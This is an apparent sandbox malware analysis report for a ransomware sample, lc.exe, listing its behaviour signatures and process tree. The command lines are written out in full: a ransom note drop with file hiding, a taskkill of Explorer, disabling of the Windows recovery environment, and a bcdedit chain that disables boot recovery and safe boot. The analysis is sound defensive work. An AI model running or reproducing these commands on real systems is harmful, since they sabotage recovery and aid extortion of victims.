Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/10/2026, 19:40

General

  • Target
    lc.exe
  • Size 6.6MB
  • Sample261024-ydpfdaby7t
  • SHA256 488e618834422321126faa25d201aa2cdfadfc898d77749f39500843b44a71e8
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies boot configuration data using bcdedit 1 TTPs 24 IoCs
  • Disables use of System Restore points 1 TTPs
  • Adds Run key to start application 2 TTPs 10 IoCs
  • Drops file in System32 directory 2 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs
  • Drops file in Windows directory 4 IoCs
  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Kills process with taskkill 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe"
    1⤵
    • Adds Run key to start application
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4448
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:5060
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:1476
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:4780
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:4576
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:4108
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Ooops! Your files are encrypted by the CryptoBytes hacker group! Discord for contact: @35256 <discord> 1>info-0v92.txt & attrib -h +s +r info-0v92.txt
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      PID:4104
    • C:\Windows\SYSTEM32\taskkill.exe
      taskkill.exe /im Explorer.exe /f
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3456
    • C:\Windows\SYSTEM32\reagentc.exe
      reagentc.exe /disable
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      PID:1480
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c bcdedit.exe /set {default} recoveryenabled no & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit.exe /set {default} timeout 0 & bcdedit.exe /set {default} advancedoptions no & bcdedit.exe /set {default} optionsedit no & bcdedit.exe /set {default} debug no & bcdedit.exe /set {default} bootdebug no & bcdedit.exe /set {default} bootlog no & bcdedit.exe /set {default} vga no & bcdedit.exe /set {default} basevideo no & bcdedit.exe /deletevalue {default} safeboot & bcdedit.exe /set {default} nointegritychecks no & bcdedit.exe /set {default} testsigning no & bcdedit.exe /set {default} disableelamdrivers no & bcdedit.exe /set {current} recoveryenabled no & bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures & bcdedit.exe /set {current} debug no & bcdedit.exe /set {current} bootlog no & bcdedit.exe /set {current} vga no & bcdedit.exe /set {current} basevideo no & bcdedit.exe /deletevalue {current} safeboot & bcdedit.exe /set {current} nointegritychecks no & bcdedit.exe /set {current} testsigning no & bcdedit.exe /set {current} disableelamdrivers no
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} recoveryenabled no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4880
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2208
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} timeout 0
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2720
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} advancedoptions no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5816
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} optionsedit no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:708
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} debug no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4088
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} bootdebug no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2940
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} bootlog no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1560
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} vga no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1804
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} basevideo no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1632
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /deletevalue {default} safeboot
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2052
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} nointegritychecks no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3856
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} testsigning no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3224
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {default} disableelamdrivers no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5696
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {current} recoveryenabled no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3360
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {current} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2060
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {current} debug no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1800
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {current} bootlog no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5992
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {current} vga no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:3696
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {current} basevideo no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:5040
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /deletevalue {current} safeboot
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1924
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {current} nointegritychecks no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4348
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {current} testsigning no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:4408
      • C:\Windows\system32\bcdedit.exe
        bcdedit.exe /set {current} disableelamdrivers no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2300
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x00000000000004C4 0x00000000000004D4
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4316
  • C:\Users\Admin\AppData\Local\Temp\lc.exe
    "C:\Users\Admin\AppData\Local\Temp\lc.exe" -startup
    1⤵
      PID:1148
    • C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2692
    • C:\Users\Admin\AppData\Local\Temp\lc.exe
      "C:\Users\Admin\AppData\Local\Temp\lc.exe"
      1⤵
        PID:4172

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            memory/4448-0-0x00007FFD6AFFF000-0x00007FFD6B000000-memory.dmp

            memory/4448-2-0x000001B6564E0000-0x000001B656B82000-memory.dmp

            memory/4448-1-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-3-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-4-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-5-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-6-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-7-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-8-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-9-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-16-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-17-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-18-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-19-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp

            memory/4448-20-0x00007FFD6AE70000-0x00007FFD6B814000-memory.dmp